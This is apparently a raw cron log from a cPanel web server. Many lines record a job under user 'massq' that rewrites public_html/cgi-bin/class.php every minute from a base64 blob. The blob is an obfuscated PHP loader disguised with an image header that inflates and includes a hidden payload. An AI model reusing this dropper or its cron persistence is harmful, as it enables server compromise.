SpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:50:01 server CROND[6409]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 03:50:01 server CROND[6410]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:50:01 server CROND[6413]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 03:50:01 server CROND[6408]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 03:50:10 server run-parts(/etc/cron.daily)[8347]: finished maldet
Aug 31 03:50:10 server run-parts(/etc/cron.daily)[616]: starting man-db.cron
Aug 31 03:50:10 server run-parts(/etc/cron.daily)[8425]: finished man-db.cron
Aug 31 03:50:10 server anacron[12694]: Job `cron.daily' terminated
Aug 31 03:51:01 server CROND[9595]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:51:01 server CROND[9596]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:51:01 server CROND[9597]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 03:52:01 server CROND[10022]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:52:01 server CROND[10023]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 03:52:01 server CROND[10024]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:53:01 server CROND[10436]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:53:01 server CROND[10437]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:53:01 server CROND[10438]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 03:54:01 server CROND[10957]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 03:54:01 server CROND[10958]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:54:01 server CROND[10959]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:55:01 server CROND[11376]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 03:55:01 server CROND[11377]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:55:01 server CROND[11386]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 03:55:01 server CROND[11396]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 03:55:01 server CROND[11394]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 03:55:01 server CROND[11395]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:55:01 server CROND[11397]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 03:56:01 server CROND[12249]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 03:56:01 server CROND[12250]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:56:01 server CROND[12251]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:57:01 server CROND[12691]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:57:01 server CROND[12690]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:57:01 server CROND[12692]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 03:57:01 server CROND[12693]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 03:58:01 server CROND[13064]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 03:58:01 server CROND[13065]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:58:01 server CROND[13066]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:59:01 server CROND[13531]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:59:01 server CROND[13534]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:59:01 server CROND[13533]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 04:00:01 server anacron[12694]: Job `cron.weekly' started
Aug 31 04:00:01 server anacron[12694]: Job `cron.weekly' terminated
Aug 31 04:00:01 server anacron[12694]: Normal exit (2 jobs run)
Aug 31 04:00:01 server CROND[13932]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 04:00:01 server CROND[13935]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 04:00:01 server CROND[13936]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 04:00:01 server CROND[13942]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 04:00:01 server CROND[13941]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Aug 31 04:00:01 server CROND[13943]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Aug 31 04:00:01 server CROND[13945]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 04:00:01 server CROND[13947]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 04:00:01 server CROND[13946]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:00:01 server CROND[13944]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:01:01 server CROND[14967]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:01:01 server CROND[14968]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:01:01 server CROND[14969]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 04:01:01 server CROND[14970]: (root) CMD (run-parts /etc/cron.hourly)
Aug 31 04:01:01 server run-parts(/etc/cron.hourly)[14970]: starting 0anacron
Aug 31 04:01:01 server run-parts(/etc/cron.hourly)[14989]: finished 0anacron
Aug 31 04:02:01 server CROND[15427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:02:01 server CROND[15428]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
